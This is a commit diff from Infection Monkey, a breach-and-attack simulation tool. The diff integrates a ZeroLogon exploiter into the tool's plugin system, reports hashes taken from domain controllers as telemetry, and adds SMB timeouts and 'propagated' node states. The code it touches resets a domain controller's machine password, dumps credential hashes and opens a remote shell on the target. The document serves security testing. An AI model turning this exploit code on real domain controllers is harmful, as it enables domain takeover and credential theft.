forked from p15670423/monkey
Merge pull request #1773 from guardicore/1737-add-zerologon-to-puppet
1737 add zerologon to puppet
This commit is contained in:
commit
453dc21074
|
@ -1,5 +1,6 @@
|
|||
import logging
|
||||
import threading
|
||||
from functools import wraps
|
||||
|
||||
from impacket.dcerpc.v5.dcom import wmi
|
||||
from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError
|
||||
|
@ -24,11 +25,13 @@ class AccessDeniedException(Exception):
|
|||
|
||||
|
||||
class WmiTools(object):
|
||||
|
||||
@staticmethod
|
||||
def impacket_user(func):
|
||||
@wraps(func)
|
||||
def _wrapper(*args, **kwarg):
|
||||
logger.debug("Waiting for impacket lock")
|
||||
with lock:
|
||||
logger.debug("Acquired impacket lock")
|
||||
return func(*args, **kwarg)
|
||||
|
||||
return _wrapper
|
||||
|
@ -61,9 +64,12 @@ class WmiTools(object):
|
|||
wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login
|
||||
)
|
||||
except Exception as exc:
|
||||
dcom.disconnect()
|
||||
try:
|
||||
dcom.disconnect()
|
||||
except KeyError:
|
||||
logger.exception("Disconnecting the DCOMConnection failed")
|
||||
|
||||
if "rpc_s_access_denied" == exc:
|
||||
if "rpc_s_access_denied" == exc.error_string:
|
||||
raise AccessDeniedException(host, username, password, domain)
|
||||
|
||||
raise
|
||||
|
@ -91,10 +97,13 @@ class WmiTools(object):
|
|||
|
||||
@staticmethod
|
||||
def dcom_wrap(func):
|
||||
@wraps(func)
|
||||
def _wrapper(*args, **kwarg):
|
||||
try:
|
||||
logger.debug("Running function from dcom_wrap")
|
||||
return func(*args, **kwarg)
|
||||
finally:
|
||||
logger.debug("Running dcom cleanup")
|
||||
WmiTools.dcom_cleanup()
|
||||
|
||||
return _wrapper
|
||||
|
|
|
@ -16,11 +16,16 @@ from impacket.dcerpc.v5 import epm, nrpc, rpcrt, transport
|
|||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
|
||||
from common.utils.exploit_enum import ExploitType
|
||||
from infection_monkey.credential_collectors import LMHash, NTHash, Username
|
||||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||
from infection_monkey.exploit.tools.wmi_tools import WmiTools
|
||||
from infection_monkey.exploit.zerologon_utils.dump_secrets import DumpSecrets
|
||||
from infection_monkey.exploit.zerologon_utils.options import OptionsForSecretsdump
|
||||
from infection_monkey.exploit.zerologon_utils.vuln_assessment import get_dc_details, is_exploitable
|
||||
from infection_monkey.exploit.zerologon_utils.wmiexec import Wmiexec
|
||||
from infection_monkey.i_puppet import ExploiterResultData
|
||||
from infection_monkey.i_puppet.credential_collection import Credentials
|
||||
from infection_monkey.telemetry.credentials_telem import CredentialsTelem
|
||||
from infection_monkey.utils.capture_output import StdoutCapture
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
@ -34,9 +39,8 @@ class ZerologonExploiter(HostExploiter):
|
|||
MAX_ATTEMPTS = 2000 # For 2000, expected average number of attempts needed: 256.
|
||||
ERROR_CODE_ACCESS_DENIED = 0xC0000022
|
||||
|
||||
def __init__(self, host: object):
|
||||
super().__init__(host)
|
||||
self.exploit_info["credentials"] = {}
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.exploit_info["password_restored"] = None
|
||||
self._extracted_creds = {}
|
||||
self._secrets_dir = tempfile.TemporaryDirectory(prefix="zerologon")
|
||||
|
@ -44,11 +48,13 @@ class ZerologonExploiter(HostExploiter):
|
|||
def __del__(self):
|
||||
self._secrets_dir.cleanup()
|
||||
|
||||
def _exploit_host(self) -> bool:
|
||||
@WmiTools.impacket_user
|
||||
def _exploit_host(self) -> ExploiterResultData:
|
||||
self.dc_ip, self.dc_name, self.dc_handle = get_dc_details(self.host)
|
||||
|
||||
can_exploit, rpc_con = is_exploitable(self)
|
||||
if can_exploit:
|
||||
self.exploit_result.exploitation_success = True
|
||||
logger.info("Target vulnerable, changing account password to empty string.")
|
||||
|
||||
# Start exploiting attempts.
|
||||
|
@ -62,10 +68,12 @@ class ZerologonExploiter(HostExploiter):
|
|||
"Exploit not attempted. Target is most likely patched, or an error was "
|
||||
"encountered."
|
||||
)
|
||||
return False
|
||||
return self.exploit_result
|
||||
|
||||
# Restore DC's original password.
|
||||
if _exploited:
|
||||
self.exploit_result.propagation_success = False
|
||||
self.exploit_result.exploitation_success = _exploited
|
||||
if self.restore_password():
|
||||
self.exploit_info["password_restored"] = True
|
||||
self.store_extracted_creds_for_exploitation()
|
||||
|
@ -76,7 +84,7 @@ class ZerologonExploiter(HostExploiter):
|
|||
else:
|
||||
logger.info("System was not exploited.")
|
||||
|
||||
return _exploited
|
||||
return self.exploit_result
|
||||
|
||||
@staticmethod
|
||||
def connect_to_dc(dc_ip) -> object:
|
||||
|
@ -264,42 +272,19 @@ class ZerologonExploiter(HostExploiter):
|
|||
|
||||
def store_extracted_creds_for_exploitation(self) -> None:
|
||||
for user in self._extracted_creds.keys():
|
||||
self.add_extracted_creds_to_exploit_info(
|
||||
user,
|
||||
self._extracted_creds[user]["lm_hash"],
|
||||
self._extracted_creds[user]["nt_hash"],
|
||||
)
|
||||
self.add_extracted_creds_to_monkey_config(
|
||||
self.send_extracted_creds_as_credential_telemetry(
|
||||
user,
|
||||
self._extracted_creds[user]["lm_hash"],
|
||||
self._extracted_creds[user]["nt_hash"],
|
||||
)
|
||||
|
||||
def add_extracted_creds_to_exploit_info(self, user: str, lmhash: str, nthash: str) -> None:
|
||||
# TODO exploit_info["credentials"] is discontinued,
|
||||
# refactor to send a credential telemetry
|
||||
self.exploit_info["credentials"].update(
|
||||
{
|
||||
user: {
|
||||
"username": user,
|
||||
"password": "",
|
||||
"lm_hash": lmhash,
|
||||
"ntlm_hash": nthash,
|
||||
}
|
||||
}
|
||||
def send_extracted_creds_as_credential_telemetry(
|
||||
self, user: str, lmhash: str, nthash: str
|
||||
) -> None:
|
||||
self.telemetry_messenger.send_telemetry(
|
||||
CredentialsTelem([Credentials([Username(user)], [LMHash(lmhash), NTHash(nthash)])])
|
||||
)
|
||||
|
||||
# so other exploiters can use these creds
|
||||
def add_extracted_creds_to_monkey_config(self, user: str, lmhash: str, nthash: str) -> None:
|
||||
if user not in self._config.exploit_user_list:
|
||||
self._config.exploit_user_list.append(user)
|
||||
|
||||
if lmhash not in self._config.exploit_lm_hash_list:
|
||||
self._config.exploit_lm_hash_list.append(lmhash)
|
||||
|
||||
if nthash not in self._config.exploit_ntlm_hash_list:
|
||||
self._config.exploit_ntlm_hash_list.append(nthash)
|
||||
|
||||
def get_original_pwd_nthash(self, username: str, user_pwd_hashes: List[str]) -> str:
|
||||
if not self.save_HKLM_keys_locally(username, user_pwd_hashes):
|
||||
return
|
||||
|
@ -329,12 +314,7 @@ class ZerologonExploiter(HostExploiter):
|
|||
self.remove_locally_saved_HKLM_keys()
|
||||
|
||||
def save_HKLM_keys_locally(self, username: str, user_pwd_hashes: List[str]) -> bool:
|
||||
logger.info(
|
||||
f"Starting remote shell on victim with credentials:\n"
|
||||
f"user: {username}\n"
|
||||
f"hashes (SHA-512): {self._config.hash_sensitive_data(user_pwd_hashes[0])} : "
|
||||
f"{self._config.hash_sensitive_data(user_pwd_hashes[1])}"
|
||||
)
|
||||
logger.info(f"Starting remote shell on victim with user: {username}")
|
||||
|
||||
wmiexec = Wmiexec(
|
||||
ip=self.dc_ip,
|
||||
|
|
|
@ -56,6 +56,7 @@ from impacket.examples.secretsdump import (
|
|||
)
|
||||
from impacket.smbconnection import SMBConnection
|
||||
|
||||
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
|
||||
from infection_monkey.utils.capture_output import StdoutCapture
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
@ -96,7 +97,9 @@ class DumpSecrets:
|
|||
self.__lmhash, self.__nthash = options.hashes.split(":")
|
||||
|
||||
def connect(self):
|
||||
self.__smb_connection = SMBConnection(self.__remote_name, self.__remote_host)
|
||||
self.__smb_connection = SMBConnection(
|
||||
self.__remote_name, self.__remote_host, timeout=LONG_REQUEST_TIMEOUT
|
||||
)
|
||||
self.__smb_connection.login(
|
||||
self.__username,
|
||||
self.__password,
|
||||
|
|
|
@ -71,6 +71,7 @@ class RemoteShell(cmd.Cmd):
|
|||
self.__secrets_dir = secrets_dir
|
||||
|
||||
# We don't wanna deal with timeouts from now on.
|
||||
# TODO are we sure we don't need timeout anymore?
|
||||
if self.__transferClient is not None:
|
||||
self.__transferClient.setTimeout(100000)
|
||||
self.do_cd("\\")
|
||||
|
|
|
@ -51,6 +51,7 @@ from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
|||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.smbconnection import SMBConnection
|
||||
|
||||
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
|
||||
from infection_monkey.exploit.zerologon_utils.remote_shell import RemoteShell
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
@ -74,7 +75,7 @@ class Wmiexec:
|
|||
self.shell = None
|
||||
|
||||
def connect(self):
|
||||
self.smbConnection = SMBConnection(self.__ip, self.__ip)
|
||||
self.smbConnection = SMBConnection(self.__ip, self.__ip, timeout=LONG_REQUEST_TIMEOUT)
|
||||
self.smbConnection.login(
|
||||
user=self.__username,
|
||||
password=self.__password,
|
||||
|
|
|
@ -20,6 +20,7 @@ from infection_monkey.exploit.hadoop import HadoopExploiter
|
|||
from infection_monkey.exploit.log4shell import Log4ShellExploiter
|
||||
from infection_monkey.exploit.sshexec import SSHExploiter
|
||||
from infection_monkey.exploit.wmiexec import WmiExploiter
|
||||
from infection_monkey.exploit.zerologon import ZerologonExploiter
|
||||
from infection_monkey.i_puppet import IPuppet, PluginType
|
||||
from infection_monkey.master import AutomatedMaster
|
||||
from infection_monkey.master.control_channel import ControlChannel
|
||||
|
@ -221,6 +222,11 @@ class InfectionMonkey:
|
|||
)
|
||||
puppet.load_plugin("SSHExploiter", exploit_wrapper.wrap(SSHExploiter), PluginType.EXPLOITER)
|
||||
puppet.load_plugin("WmiExploiter", exploit_wrapper.wrap(WmiExploiter), PluginType.EXPLOITER)
|
||||
puppet.load_plugin(
|
||||
"ZerologonExploiter",
|
||||
exploit_wrapper.wrap(ZerologonExploiter),
|
||||
PluginType.EXPLOITER,
|
||||
)
|
||||
|
||||
puppet.load_plugin("ransomware", RansomwarePayload(), PluginType.PAYLOAD)
|
||||
|
||||
|
|
|
@ -128,8 +128,14 @@ class NodeService:
|
|||
def get_node_group(node) -> str:
|
||||
if "group" in node and node["group"]:
|
||||
return node["group"]
|
||||
node_type = "exploited" if node.get("exploited") else "clean"
|
||||
|
||||
if node.get("propagated"):
|
||||
node_type = "propagated"
|
||||
else:
|
||||
node_type = "clean"
|
||||
|
||||
node_os = NodeService.get_node_os(node)
|
||||
|
||||
return NodeStates.get_by_keywords([node_type, node_os]).value
|
||||
|
||||
@staticmethod
|
||||
|
@ -164,10 +170,6 @@ class NodeService:
|
|||
"os": NodeService.get_node_os(node),
|
||||
}
|
||||
|
||||
@staticmethod
|
||||
def set_node_group(node_id: str, node_group: NodeStates):
|
||||
mongo.db.node.update({"_id": node_id}, {"$set": {"group": node_group.value}}, upsert=False)
|
||||
|
||||
@staticmethod
|
||||
def unset_all_monkey_tunnels(monkey_id):
|
||||
mongo.db.monkey.update({"_id": monkey_id}, {"$unset": {"tunnel": ""}}, upsert=False)
|
||||
|
@ -202,6 +204,7 @@ class NodeService:
|
|||
"ip_addresses": [ip_address],
|
||||
"domain_name": domain_name,
|
||||
"exploited": False,
|
||||
"propagated": False,
|
||||
"os": {"type": "unknown", "version": "unknown"},
|
||||
}
|
||||
)
|
||||
|
@ -288,6 +291,10 @@ class NodeService:
|
|||
def set_node_exploited(node_id):
|
||||
mongo.db.node.update({"_id": node_id}, {"$set": {"exploited": True}})
|
||||
|
||||
@staticmethod
|
||||
def set_node_propagated(node_id):
|
||||
mongo.db.node.update({"_id": node_id}, {"$set": {"propagated": True}})
|
||||
|
||||
@staticmethod
|
||||
def update_dead_monkeys():
|
||||
# Update dead monkeys only if no living monkey transmitted keepalive in the last 10 minutes
|
||||
|
|
|
@ -52,6 +52,8 @@ def update_network_with_exploit(edge: EdgeService, telemetry_json):
|
|||
edge.update_based_on_exploit(new_exploit)
|
||||
if new_exploit["exploitation_result"]:
|
||||
NodeService.set_node_exploited(edge.dst_node_id)
|
||||
if new_exploit["propagation_result"]:
|
||||
NodeService.set_node_propagated(edge.dst_node_id)
|
||||
|
||||
|
||||
def encrypt_exploit_creds(telemetry_json):
|
||||
|
|
|
@ -9,8 +9,8 @@ class NodeStates(Enum):
|
|||
CLEAN_UNKNOWN = "clean_unknown"
|
||||
CLEAN_LINUX = "clean_linux"
|
||||
CLEAN_WINDOWS = "clean_windows"
|
||||
EXPLOITED_LINUX = "exploited_linux"
|
||||
EXPLOITED_WINDOWS = "exploited_windows"
|
||||
PROPAGATED_LINUX = "propagated_linux"
|
||||
PROPAGATED_WINDOWS = "propagated_windows"
|
||||
ISLAND = "island"
|
||||
ISLAND_MONKEY_LINUX = "island_monkey_linux"
|
||||
ISLAND_MONKEY_LINUX_RUNNING = "island_monkey_linux_running"
|
||||
|
|
Before Width: | Height: | Size: 4.1 KiB After Width: | Height: | Size: 4.1 KiB |
Before Width: | Height: | Size: 3.3 KiB After Width: | Height: | Size: 3.3 KiB |
|
@ -1,7 +1,5 @@
|
|||
import pytest
|
||||
|
||||
from infection_monkey.model.host import VictimHost
|
||||
|
||||
DOMAIN_NAME = "domain-name"
|
||||
IP = "0.0.0.0"
|
||||
NETBIOS_NAME = "NetBIOS Name"
|
||||
|
@ -19,8 +17,7 @@ def zerologon_exploiter_object(monkeypatch):
|
|||
def mock_report_login_attempt(**kwargs):
|
||||
return None
|
||||
|
||||
host = VictimHost(IP, DOMAIN_NAME)
|
||||
obj = ZerologonExploiter(host)
|
||||
obj = ZerologonExploiter()
|
||||
monkeypatch.setattr(obj, "dc_name", NETBIOS_NAME, raising=False)
|
||||
monkeypatch.setattr(obj, "report_login_attempt", mock_report_login_attempt)
|
||||
return obj
|
||||
|
|
Loading…
Reference in New Issue